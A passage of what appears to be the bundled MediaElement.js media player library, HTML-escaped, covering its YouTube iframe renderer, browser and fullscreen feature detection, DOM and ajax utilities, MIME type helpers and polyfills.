				onReady: function onReady(e) {
					mediaElement.youTubeApi = youTubeApi = e.target;
					mediaElement.youTubeState = {
						paused: true,
						ended: false
					};

					if (apiStack.length) {
						for (var _i2 = 0, _total2 = apiStack.length; _i2 &lt; _total2; _i2++) {

							var stackItem = apiStack[_i2];

							if (stackItem.type === &#039;set&#039;) {
								var propName = stackItem.propName,
								    capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

								youtube[&#039;set&#039; + capName](stackItem.value);
							} else if (stackItem.type === &#039;call&#039;) {
								youtube[stackItem.methodName]();
							}
						}
					}

					youTubeIframe = youTubeApi.getIframe();

					if (mediaElement.originalNode.muted) {
						youTubeApi.mute();
					}

					var events = [&#039;mouseover&#039;, &#039;mouseout&#039;],
					    assignEvents = function assignEvents(e) {
						var newEvent = (0, _general.createEvent)(e.type, youtube);
						mediaElement.dispatchEvent(newEvent);
					};

					for (var _i3 = 0, _total3 = events.length; _i3 &lt; _total3; _i3++) {
						youTubeIframe.addEventListener(events[_i3], assignEvents, false);
					}

					var initEvents = [&#039;rendererready&#039;, &#039;loadedmetadata&#039;, &#039;loadeddata&#039;, &#039;canplay&#039;];

					for (var _i4 = 0, _total4 = initEvents.length; _i4 &lt; _total4; _i4++) {
						var event = (0, _general.createEvent)(initEvents[_i4], youtube);
						mediaElement.dispatchEvent(event);
					}
				},
				onStateChange: function onStateChange(e) {
					var events = [];

					switch (e.data) {
						case -1:
							events = [&#039;loadedmetadata&#039;];
							paused = true;
							ended = false;
							break;
						case 0:
							events = [&#039;ended&#039;];
							paused = false;
							ended = !youtube.options.youtube.loop;
							if (!youtube.options.youtube.loop) {
								youtube.stopInterval();
							}
							break;
						case 1:
							events = [&#039;play&#039;, &#039;playing&#039;];
							paused = false;
							ended = false;
							youtube.startInterval();
							break;
						case 2:
							events = [&#039;pause&#039;];
							paused = true;
							ended = false;
							youtube.stopInterval();
							break;
						case 3:
							events = [&#039;progress&#039;];
							ended = false;
							break;
						case 5:
							events = [&#039;loadeddata&#039;, &#039;loadedmetadata&#039;, &#039;canplay&#039;];
							paused = true;
							ended = false;
							break;
					}

					for (var _i5 = 0, _total5 = events.length; _i5 &lt; _total5; _i5++) {
						var event = (0, _general.createEvent)(events[_i5], youtube);
						mediaElement.dispatchEvent(event);
					}
				},
				onError: function onError(e) {
					return errorHandler(e);
				}
			}
		};

		if (isAudio || mediaElement.originalNode.hasAttribute(&#039;playsinline&#039;)) {
			youtubeSettings.playerVars.playsinline = 1;
		}

		if (mediaElement.originalNode.controls) {
			youtubeSettings.playerVars.controls = 1;
		}
		if (mediaElement.originalNode.autoplay) {
			youtubeSettings.playerVars.autoplay = 1;
		}
		if (mediaElement.originalNode.loop) {
			youtubeSettings.playerVars.loop = 1;
		}

		if ((youtubeSettings.playerVars.loop &amp;&amp; parseInt(youtubeSettings.playerVars.loop, 10) === 1 || mediaElement.originalNode.src.indexOf(&#039;loop=&#039;) &gt; -1) &amp;&amp; !youtubeSettings.playerVars.playlist &amp;&amp; mediaElement.originalNode.src.indexOf(&#039;playlist=&#039;) === -1) {
			youtubeSettings.playerVars.playlist = YouTubeApi.getYouTubeId(mediaElement.originalNode.src);
		}

		YouTubeApi.enqueueIframe(youtubeSettings);

		youtube.onEvent = function (eventName, player, _youTubeState) {
			if (_youTubeState !== null &amp;&amp; _youTubeState !== undefined) {
				mediaElement.youTubeState = _youTubeState;
			}
		};

		youtube.setSize = function (width, height) {
			if (youTubeApi !== null) {
				youTubeApi.setSize(width, height);
			}
		};
		youtube.hide = function () {
			youtube.stopInterval();
			youtube.pause();
			if (youTubeIframe) {
				youTubeIframe.style.display = &#039;none&#039;;
			}
		};
		youtube.show = function () {
			if (youTubeIframe) {
				youTubeIframe.style.display = &#039;&#039;;
			}
		};
		youtube.destroy = function () {
			youTubeApi.destroy();
		};
		youtube.interval = null;

		youtube.startInterval = function () {
			youtube.interval = setInterval(function () {
				var event = (0, _general.createEvent)(&#039;timeupdate&#039;, youtube);
				mediaElement.dispatchEvent(event);
			}, 250);
		};
		youtube.stopInterval = function () {
			if (youtube.interval) {
				clearInterval(youtube.interval);
			}
		};
		youtube.getPosterUrl = function () {
			var quality = options.youtube.imageQuality,
			    resolutions = [&#039;default&#039;, &#039;hqdefault&#039;, &#039;mqdefault&#039;, &#039;sddefault&#039;, &#039;maxresdefault&#039;],
			    id = YouTubeApi.getYouTubeId(mediaElement.originalNode.src);
			return quality &amp;&amp; resolutions.indexOf(quality) &gt; -1 &amp;&amp; id ? &#039;https://img.youtube.com/vi/&#039; + id + &#039;/&#039; + quality + &#039;.jpg&#039; : &#039;&#039;;
		};

		return youtube;
	}
};

_window2.default.onYouTubePlayerAPIReady = function () {
	YouTubeApi.iFrameReady();
};

_media.typeChecks.push(function (url) {
	return (/\/\/(www\.youtube|youtu\.?be)/i.test(url) ? &#039;video/x-youtube&#039; : null
	);
});

_renderer.renderer.add(YouTubeIframeRenderer);

},{&quot;17&quot;:17,&quot;18&quot;:18,&quot;19&quot;:19,&quot;2&quot;:2,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],16:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.cancelFullScreen = exports.requestFullScreen = exports.isFullScreen = exports.FULLSCREEN_EVENT_NAME = exports.HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = exports.SUPPORTS_NATIVE_HLS = exports.SUPPORT_PASSIVE_EVENT = exports.SUPPORT_POINTER_EVENTS = exports.HAS_MSE = exports.IS_STOCK_ANDROID = exports.IS_SAFARI = exports.IS_FIREFOX = exports.IS_CHROME = exports.IS_EDGE = exports.IS_IE = exports.IS_ANDROID = exports.IS_IOS = exports.IS_IPOD = exports.IS_IPHONE = exports.IS_IPAD = exports.UA = exports.NAV = undefined;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var NAV = exports.NAV = _window2.default.navigator;
var UA = exports.UA = NAV.userAgent.toLowerCase();
var IS_IPAD = exports.IS_IPAD = /ipad/i.test(UA) &amp;&amp; !_window2.default.MSStream;
var IS_IPHONE = exports.IS_IPHONE = /iphone/i.test(UA) &amp;&amp; !_window2.default.MSStream;
var IS_IPOD = exports.IS_IPOD = /ipod/i.test(UA) &amp;&amp; !_window2.default.MSStream;
var IS_IOS = exports.IS_IOS = /ipad|iphone|ipod/i.test(UA) &amp;&amp; !_window2.default.MSStream;
var IS_ANDROID = exports.IS_ANDROID = /android/i.test(UA);
var IS_IE = exports.IS_IE = /(trident|microsoft)/i.test(NAV.appName);
var IS_EDGE = exports.IS_EDGE = &#039;msLaunchUri&#039; in NAV &amp;&amp; !(&#039;documentMode&#039; in _document2.default);
var IS_CHROME = exports.IS_CHROME = /chrome/i.test(UA);
var IS_FIREFOX = exports.IS_FIREFOX = /firefox/i.test(UA);
var IS_SAFARI = exports.IS_SAFARI = /safari/i.test(UA) &amp;&amp; !IS_CHROME;
var IS_STOCK_ANDROID = exports.IS_STOCK_ANDROID = /^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(UA);
var HAS_MSE = exports.HAS_MSE = &#039;MediaSource&#039; in _window2.default;
var SUPPORT_POINTER_EVENTS = exports.SUPPORT_POINTER_EVENTS = function () {
	var element = _document2.default.createElement(&#039;x&#039;),
	    documentElement = _document2.default.documentElement,
	    getComputedStyle = _window2.default.getComputedStyle;

	if (!(&#039;pointerEvents&#039; in element.style)) {
		return false;
	}

	element.style.pointerEvents = &#039;auto&#039;;
	element.style.pointerEvents = &#039;x&#039;;
	documentElement.appendChild(element);
	var supports = getComputedStyle &amp;&amp; (getComputedStyle(element, &#039;&#039;) || {}).pointerEvents === &#039;auto&#039;;
	element.remove();
	return !!supports;
}();

var SUPPORT_PASSIVE_EVENT = exports.SUPPORT_PASSIVE_EVENT = function () {
	var supportsPassive = false;
	try {
		var opts = Object.defineProperty({}, &#039;passive&#039;, {
			get: function get() {
				supportsPassive = true;
			}
		});
		_window2.default.addEventListener(&#039;test&#039;, null, opts);
	} catch (e) {}

	return supportsPassive;
}();

var html5Elements = [&#039;source&#039;, &#039;track&#039;, &#039;audio&#039;, &#039;video&#039;];
var video = void 0;

for (var i = 0, total = html5Elements.length; i &lt; total; i++) {
	video = _document2.default.createElement(html5Elements[i]);
}

var SUPPORTS_NATIVE_HLS = exports.SUPPORTS_NATIVE_HLS = IS_SAFARI || IS_IE &amp;&amp; /edge/i.test(UA);

var hasiOSFullScreen = video.webkitEnterFullscreen !== undefined;

var hasNativeFullscreen = video.requestFullscreen !== undefined;

if (hasiOSFullScreen &amp;&amp; /mac os x 10_5/i.test(UA)) {
	hasNativeFullscreen = false;
	hasiOSFullScreen = false;
}

var hasWebkitNativeFullScreen = video.webkitRequestFullScreen !== undefined;
var hasMozNativeFullScreen = video.mozRequestFullScreen !== undefined;
var hasMsNativeFullScreen = video.msRequestFullscreen !== undefined;
var hasTrueNativeFullScreen = hasWebkitNativeFullScreen || hasMozNativeFullScreen || hasMsNativeFullScreen;
var nativeFullScreenEnabled = hasTrueNativeFullScreen;
var fullScreenEventName = &#039;&#039;;
var isFullScreen = void 0,
    requestFullScreen = void 0,
    cancelFullScreen = void 0;

if (hasMozNativeFullScreen) {
	nativeFullScreenEnabled = _document2.default.mozFullScreenEnabled;
} else if (hasMsNativeFullScreen) {
	nativeFullScreenEnabled = _document2.default.msFullscreenEnabled;
}

if (IS_CHROME) {
	hasiOSFullScreen = false;
}

if (hasTrueNativeFullScreen) {
	if (hasWebkitNativeFullScreen) {
		fullScreenEventName = &#039;webkitfullscreenchange&#039;;
	} else if (hasMozNativeFullScreen) {
		fullScreenEventName = &#039;fullscreenchange&#039;;
	} else if (hasMsNativeFullScreen) {
		fullScreenEventName = &#039;MSFullscreenChange&#039;;
	}

	exports.isFullScreen = isFullScreen = function isFullScreen() {
		if (hasMozNativeFullScreen) {
			return _document2.default.mozFullScreen;
		} else if (hasWebkitNativeFullScreen) {
			return _document2.default.webkitIsFullScreen;
		} else if (hasMsNativeFullScreen) {
			return _document2.default.msFullscreenElement !== null;
		}
	};

	exports.requestFullScreen = requestFullScreen = function requestFullScreen(el) {
		if (hasWebkitNativeFullScreen) {
			el.webkitRequestFullScreen();
		} else if (hasMozNativeFullScreen) {
			el.mozRequestFullScreen();
		} else if (hasMsNativeFullScreen) {
			el.msRequestFullscreen();
		}
	};

	exports.cancelFullScreen = cancelFullScreen = function cancelFullScreen() {
		if (hasWebkitNativeFullScreen) {
			_document2.default.webkitCancelFullScreen();
		} else if (hasMozNativeFullScreen) {
			_document2.default.mozCancelFullScreen();
		} else if (hasMsNativeFullScreen) {
			_document2.default.msExitFullscreen();
		}
	};
}

var HAS_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = hasNativeFullscreen;
var HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = hasWebkitNativeFullScreen;
var HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = hasMozNativeFullScreen;
var HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = hasMsNativeFullScreen;
var HAS_IOS_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = hasiOSFullScreen;
var HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_TRUE_NATIVE_FULLSCREEN = hasTrueNativeFullScreen;
var HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_NATIVE_FULLSCREEN_ENABLED = nativeFullScreenEnabled;
var FULLSCREEN_EVENT_NAME = exports.FULLSCREEN_EVENT_NAME = fullScreenEventName;
exports.isFullScreen = isFullScreen;
exports.requestFullScreen = requestFullScreen;
exports.cancelFullScreen = cancelFullScreen;


_mejs2.default.Features = _mejs2.default.Features || {};
_mejs2.default.Features.isiPad = IS_IPAD;
_mejs2.default.Features.isiPod = IS_IPOD;
_mejs2.default.Features.isiPhone = IS_IPHONE;
_mejs2.default.Features.isiOS = _mejs2.default.Features.isiPhone || _mejs2.default.Features.isiPad;
_mejs2.default.Features.isAndroid = IS_ANDROID;
_mejs2.default.Features.isIE = IS_IE;
_mejs2.default.Features.isEdge = IS_EDGE;
_mejs2.default.Features.isChrome = IS_CHROME;
_mejs2.default.Features.isFirefox = IS_FIREFOX;
_mejs2.default.Features.isSafari = IS_SAFARI;
_mejs2.default.Features.isStockAndroid = IS_STOCK_ANDROID;
_mejs2.default.Features.hasMSE = HAS_MSE;
_mejs2.default.Features.supportsNativeHLS = SUPPORTS_NATIVE_HLS;
_mejs2.default.Features.supportsPointerEvents = SUPPORT_POINTER_EVENTS;
_mejs2.default.Features.supportsPassiveEvent = SUPPORT_PASSIVE_EVENT;
_mejs2.default.Features.hasiOSFullScreen = HAS_IOS_FULLSCREEN;
_mejs2.default.Features.hasNativeFullscreen = HAS_NATIVE_FULLSCREEN;
_mejs2.default.Features.hasWebkitNativeFullScreen = HAS_WEBKIT_NATIVE_FULLSCREEN;
_mejs2.default.Features.hasMozNativeFullScreen = HAS_MOZ_NATIVE_FULLSCREEN;
_mejs2.default.Features.hasMsNativeFullScreen = HAS_MS_NATIVE_FULLSCREEN;
_mejs2.default.Features.hasTrueNativeFullScreen = HAS_TRUE_NATIVE_FULLSCREEN;
_mejs2.default.Features.nativeFullScreenEnabled = HAS_NATIVE_FULLSCREEN_ENABLED;
_mejs2.default.Features.fullScreenEventName = FULLSCREEN_EVENT_NAME;
_mejs2.default.Features.isFullScreen = isFullScreen;
_mejs2.default.Features.requestFullScreen = requestFullScreen;
_mejs2.default.Features.cancelFullScreen = cancelFullScreen;

},{&quot;2&quot;:2,&quot;3&quot;:3,&quot;7&quot;:7}],17:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.removeClass = exports.addClass = exports.hasClass = undefined;
exports.loadScript = loadScript;
exports.offset = offset;
exports.toggleClass = toggleClass;
exports.fadeOut = fadeOut;
exports.fadeIn = fadeIn;
exports.siblings = siblings;
exports.visible = visible;
exports.ajax = ajax;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function loadScript(url) {
	return new Promise(function (resolve, reject) {
		var script = _document2.default.createElement(&#039;script&#039;);
		script.src = url;
		script.async = true;
		script.onload = function () {
			script.remove();
			resolve();
		};
		script.onerror = function () {
			script.remove();
			reject();
		};
		_document2.default.head.appendChild(script);
	});
}

function offset(el) {
	var rect = el.getBoundingClientRect(),
	    scrollLeft = _window2.default.pageXOffset || _document2.default.documentElement.scrollLeft,
	    scrollTop = _window2.default.pageYOffset || _document2.default.documentElement.scrollTop;
	return { top: rect.top + scrollTop, left: rect.left + scrollLeft };
}

var hasClassMethod = void 0,
    addClassMethod = void 0,
    removeClassMethod = void 0;

if (&#039;classList&#039; in _document2.default.documentElement) {
	hasClassMethod = function hasClassMethod(el, className) {
		return el.classList !== undefined &amp;&amp; el.classList.contains(className);
	};
	addClassMethod = function addClassMethod(el, className) {
		return el.classList.add(className);
	};
	removeClassMethod = function removeClassMethod(el, className) {
		return el.classList.remove(className);
	};
} else {
	hasClassMethod = function hasClassMethod(el, className) {
		return new RegExp(&#039;\\b&#039; + className + &#039;\\b&#039;).test(el.className);
	};
	addClassMethod = function addClassMethod(el, className) {
		if (!hasClass(el, className)) {
			el.className += &#039; &#039; + className;
		}
	};
	removeClassMethod = function removeClassMethod(el, className) {
		el.className = el.className.replace(new RegExp(&#039;\\b&#039; + className + &#039;\\b&#039;, &#039;g&#039;), &#039;&#039;);
	};
}

var hasClass = exports.hasClass = hasClassMethod;
var addClass = exports.addClass = addClassMethod;
var removeClass = exports.removeClass = removeClassMethod;

function toggleClass(el, className) {
	hasClass(el, className) ? removeClass(el, className) : addClass(el, className);
}

function fadeOut(el) {
	var duration = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : 400;
	var callback = arguments[2];

	if (!el.style.opacity) {
		el.style.opacity = 1;
	}

	var start = null;
	_window2.default.requestAnimationFrame(function animate(timestamp) {
		start = start || timestamp;
		var progress = timestamp - start;
		var opacity = parseFloat(1 - progress / duration, 2);
		el.style.opacity = opacity &lt; 0 ? 0 : opacity;
		if (progress &gt; duration) {
			if (callback &amp;&amp; typeof callback === &#039;function&#039;) {
				callback();
			}
		} else {
			_window2.default.requestAnimationFrame(animate);
		}
	});
}

function fadeIn(el) {
	var duration = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : 400;
	var callback = arguments[2];

	if (!el.style.opacity) {
		el.style.opacity = 0;
	}

	var start = null;
	_window2.default.requestAnimationFrame(function animate(timestamp) {
		start = start || timestamp;
		var progress = timestamp - start;
		var opacity = parseFloat(progress / duration, 2);
		el.style.opacity = opacity &gt; 1 ? 1 : opacity;
		if (progress &gt; duration) {
			if (callback &amp;&amp; typeof callback === &#039;function&#039;) {
				callback();
			}
		} else {
			_window2.default.requestAnimationFrame(animate);
		}
	});
}

function siblings(el, filter) {
	var siblings = [];
	el = el.parentNode.firstChild;
	do {
		if (!filter || filter(el)) {
			siblings.push(el);
		}
	} while (el = el.nextSibling);
	return siblings;
}

function visible(elem) {
	if (elem.getClientRects !== undefined &amp;&amp; elem.getClientRects === &#039;function&#039;) {
		return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length);
	}
	return !!(elem.offsetWidth || elem.offsetHeight);
}

function ajax(url, dataType, success, error) {
	var xhr = _window2.default.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(&#039;Microsoft.XMLHTTP&#039;);

	var type = &#039;application/x-www-form-urlencoded; charset=UTF-8&#039;,
	    completed = false,
	    accept = &#039;*/&#039;.concat(&#039;*&#039;);

	switch (dataType) {
		case &#039;text&#039;:
			type = &#039;text/plain&#039;;
			break;
		case &#039;json&#039;:
			type = &#039;application/json, text/javascript&#039;;
			break;
		case &#039;html&#039;:
			type = &#039;text/html&#039;;
			break;
		case &#039;xml&#039;:
			type = &#039;application/xml, text/xml&#039;;
			break;
	}

	if (type !== &#039;application/x-www-form-urlencoded&#039;) {
		accept = type + &#039;, */*; q=0.01&#039;;
	}

	if (xhr) {
		xhr.open(&#039;GET&#039;, url, true);
		xhr.setRequestHeader(&#039;Accept&#039;, accept);
		xhr.onreadystatechange = function () {
			if (completed) {
				return;
			}

			if (xhr.readyState === 4) {
				if (xhr.status === 200) {
					completed = true;
					var data = void 0;
					switch (dataType) {
						case &#039;json&#039;:
							data = JSON.parse(xhr.responseText);
							break;
						case &#039;xml&#039;:
							data = xhr.responseXML;
							break;
						default:
							data = xhr.responseText;
							break;
					}
					success(data);
				} else if (typeof error === &#039;function&#039;) {
					error(xhr.status);
				}
			}
		};

		xhr.send();
	}
}

_mejs2.default.Utils = _mejs2.default.Utils || {};
_mejs2.default.Utils.offset = offset;
_mejs2.default.Utils.hasClass = hasClass;
_mejs2.default.Utils.addClass = addClass;
_mejs2.default.Utils.removeClass = removeClass;
_mejs2.default.Utils.toggleClass = toggleClass;
_mejs2.default.Utils.fadeIn = fadeIn;
_mejs2.default.Utils.fadeOut = fadeOut;
_mejs2.default.Utils.siblings = siblings;
_mejs2.default.Utils.visible = visible;
_mejs2.default.Utils.ajax = ajax;
_mejs2.default.Utils.loadScript = loadScript;

},{&quot;2&quot;:2,&quot;3&quot;:3,&quot;7&quot;:7}],18:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.escapeHTML = escapeHTML;
exports.debounce = debounce;
exports.isObjectEmpty = isObjectEmpty;
exports.splitEvents = splitEvents;
exports.createEvent = createEvent;
exports.isNodeAfter = isNodeAfter;
exports.isString = isString;

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function escapeHTML(input) {

	if (typeof input !== &#039;string&#039;) {
		throw new Error(&#039;Argument passed must be a string&#039;);
	}

	var map = {
		&#039;&amp;&#039;: &#039;&amp;amp;&#039;,
		&#039;&lt;&#039;: &#039;&amp;lt;&#039;,
		&#039;&gt;&#039;: &#039;&amp;gt;&#039;,
		&#039;&quot;&#039;: &#039;&amp;quot;&#039;
	};

	return input.replace(/[&amp;&lt;&gt;&quot;]/g, function (c) {
		return map[c];
	});
}

function debounce(func, wait) {
	var _this = this,
	    _arguments = arguments;

	var immediate = arguments.length &gt; 2 &amp;&amp; arguments[2] !== undefined ? arguments[2] : false;


	if (typeof func !== &#039;function&#039;) {
		throw new Error(&#039;First argument must be a function&#039;);
	}

	if (typeof wait !== &#039;number&#039;) {
		throw new Error(&#039;Second argument must be a numeric value&#039;);
	}

	var timeout = void 0;
	return function () {
		var context = _this,
		    args = _arguments;
		var later = function later() {
			timeout = null;
			if (!immediate) {
				func.apply(context, args);
			}
		};
		var callNow = immediate &amp;&amp; !timeout;
		clearTimeout(timeout);
		timeout = setTimeout(later, wait);

		if (callNow) {
			func.apply(context, args);
		}
	};
}

function isObjectEmpty(instance) {
	return Object.getOwnPropertyNames(instance).length &lt;= 0;
}

function splitEvents(events, id) {
	var rwindow = /^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/;

	var ret = { d: [], w: [] };
	(events || &#039;&#039;).split(&#039; &#039;).forEach(function (v) {
		var eventName = &#039;&#039; + v + (id ? &#039;.&#039; + id : &#039;&#039;);

		if (eventName.startsWith(&#039;.&#039;)) {
			ret.d.push(eventName);
			ret.w.push(eventName);
		} else {
			ret[rwindow.test(v) ? &#039;w&#039; : &#039;d&#039;].push(eventName);
		}
	});

	ret.d = ret.d.join(&#039; &#039;);
	ret.w = ret.w.join(&#039; &#039;);
	return ret;
}

function createEvent(eventName, target) {

	if (typeof eventName !== &#039;string&#039;) {
		throw new Error(&#039;Event name must be a string&#039;);
	}

	var eventFrags = eventName.match(/([a-z]+\.([a-z]+))/i),
	    detail = {
		target: target
	};

	if (eventFrags !== null) {
		eventName = eventFrags[1];
		detail.namespace = eventFrags[2];
	}

	return new window.CustomEvent(eventName, {
		detail: detail
	});
}

function isNodeAfter(sourceNode, targetNode) {

	return !!(sourceNode &amp;&amp; targetNode &amp;&amp; sourceNode.compareDocumentPosition(targetNode) &amp; 2);
}

function isString(value) {
	return typeof value === &#039;string&#039;;
}

_mejs2.default.Utils = _mejs2.default.Utils || {};
_mejs2.default.Utils.escapeHTML = escapeHTML;
_mejs2.default.Utils.debounce = debounce;
_mejs2.default.Utils.isObjectEmpty = isObjectEmpty;
_mejs2.default.Utils.splitEvents = splitEvents;
_mejs2.default.Utils.createEvent = createEvent;
_mejs2.default.Utils.isNodeAfter = isNodeAfter;
_mejs2.default.Utils.isString = isString;

},{&quot;7&quot;:7}],19:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
exports.typeChecks = undefined;
exports.absolutizeUrl = absolutizeUrl;
exports.formatType = formatType;
exports.getMimeFromType = getMimeFromType;
exports.getTypeFromFile = getTypeFromFile;
exports.getExtension = getExtension;
exports.normalizeExtension = normalizeExtension;

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _general = _dereq_(18);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var typeChecks = exports.typeChecks = [];

function absolutizeUrl(url) {

	if (typeof url !== &#039;string&#039;) {
		throw new Error(&#039;`url` argument must be a string&#039;);
	}

	var el = document.createElement(&#039;div&#039;);
	el.innerHTML = &#039;&lt;a href=&quot;&#039; + (0, _general.escapeHTML)(url) + &#039;&quot;&gt;x&lt;/a&gt;&#039;;
	return el.firstChild.href;
}

function formatType(url) {
	var type = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : &#039;&#039;;

	return url &amp;&amp; !type ? getTypeFromFile(url) : type;
}

function getMimeFromType(type) {

	if (typeof type !== &#039;string&#039;) {
		throw new Error(&#039;`type` argument must be a string&#039;);
	}

	return type &amp;&amp; type.indexOf(&#039;;&#039;) &gt; -1 ? type.substr(0, type.indexOf(&#039;;&#039;)) : type;
}

function getTypeFromFile(url) {

	if (typeof url !== &#039;string&#039;) {
		throw new Error(&#039;`url` argument must be a string&#039;);
	}

	for (var i = 0, total = typeChecks.length; i &lt; total; i++) {
		var type = typeChecks[i](url);

		if (type) {
			return type;
		}
	}

	var ext = getExtension(url),
	    normalizedExt = normalizeExtension(ext);

	var mime = &#039;video/mp4&#039;;

	if (normalizedExt) {
		if (~[&#039;mp4&#039;, &#039;m4v&#039;, &#039;ogg&#039;, &#039;ogv&#039;, &#039;webm&#039;, &#039;flv&#039;, &#039;mpeg&#039;].indexOf(normalizedExt)) {
			mime = &#039;video/&#039; + normalizedExt;
		} else if (&#039;mov&#039; === normalizedExt) {
			mime = &#039;video/quicktime&#039;;
		} else if (~[&#039;mp3&#039;, &#039;oga&#039;, &#039;wav&#039;, &#039;mid&#039;, &#039;midi&#039;].indexOf(normalizedExt)) {
			mime = &#039;audio/&#039; + normalizedExt;
		}
	}

	return mime;
}

function getExtension(url) {

	if (typeof url !== &#039;string&#039;) {
		throw new Error(&#039;`url` argument must be a string&#039;);
	}

	var baseUrl = url.split(&#039;?&#039;)[0],
	    baseName = baseUrl.split(&#039;\\&#039;).pop().split(&#039;/&#039;).pop();
	return ~baseName.indexOf(&#039;.&#039;) ? baseName.substring(baseName.lastIndexOf(&#039;.&#039;) + 1) : &#039;&#039;;
}

function normalizeExtension(extension) {

	if (typeof extension !== &#039;string&#039;) {
		throw new Error(&#039;`extension` argument must be a string&#039;);
	}

	switch (extension) {
		case &#039;mp4&#039;:
		case &#039;m4v&#039;:
			return &#039;mp4&#039;;
		case &#039;webm&#039;:
		case &#039;webma&#039;:
		case &#039;webmv&#039;:
			return &#039;webm&#039;;
		case &#039;ogg&#039;:
		case &#039;oga&#039;:
		case &#039;ogv&#039;:
			return &#039;ogg&#039;;
		default:
			return extension;
	}
}

_mejs2.default.Utils = _mejs2.default.Utils || {};
_mejs2.default.Utils.typeChecks = typeChecks;
_mejs2.default.Utils.absolutizeUrl = absolutizeUrl;
_mejs2.default.Utils.formatType = formatType;
_mejs2.default.Utils.getMimeFromType = getMimeFromType;
_mejs2.default.Utils.getTypeFromFile = getTypeFromFile;
_mejs2.default.Utils.getExtension = getExtension;
_mejs2.default.Utils.normalizeExtension = normalizeExtension;

},{&quot;18&quot;:18,&quot;7&quot;:7}],20:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _promisePolyfill = _dereq_(4);

var _promisePolyfill2 = _interopRequireDefault(_promisePolyfill);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

(function (arr) {
	arr.forEach(function (item) {
		if (item.hasOwnProperty(&#039;remove&#039;)) {
			return;
		}
		Object.defineProperty(item, &#039;remove&#039;, {
			configurable: true,
			enumerable: true,
			writable: true,
			value: function remove() {
				this.parentNode.removeChild(this);
			}
		});
	});
})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);

(function () {

	if (typeof window.CustomEvent === &#039;function&#039;) {
		return false;
	}

	function CustomEvent(event, params) {
		params = params || { bubbles: false, cancelable: false, detail: undefined };
		var evt = _document2.default.createEvent(&#039;CustomEvent&#039;);
		evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
		return evt;
	}

	CustomEvent.prototype = window.Event.prototype;
	window.CustomEvent = CustomEvent;
})();

if (typeof Object.assign !== &#039;function&#039;) {
	Object.assign = function (target) {

		if (target === null || target === undefined) {
			throw new TypeError(&#039;Cannot convert undefined or null to object&#039;);
		}

		var to = Object(target);

		for (var index = 1, total = arguments.length; index &lt; total; index++) {
			var nextSource = arguments[index];

			if (nextSource !== null) {
				for (var nextKey in nextSource) {
					if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
						to[nextKey] = nextSource[nextKey];
					}
				}
			}
		}
		return to;
	};
}

if (!String.prototype.startsWith) {
	String.prototype.startsWith = function (searchString, position) {
		position = position || 0;
		return this.substr(position, searchString.length) === searchString;
	};
}

if (!Element.prototype.matches) {
	Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function (s) {
		var matches = (this.document || this.ownerDocument).querySelectorAll(s),
		    i = matches.length - 1;
		while (--i &gt;= 0 &amp;&amp; matches.item(i) !== this) {}
		return i &gt; -1;
	};
}

if (window.Element &amp;&amp; !Element.prototype.closest) {
	Element.prototype.closest = function (s) {
		var matches = (this.document || this.ownerDocument).querySelectorAll(s),
		    i = void 0,
		    el = this;
		do {
			i = matches.length;
			while (--i &gt;= 0 &amp;&amp; matches.item(i) !== el) {}
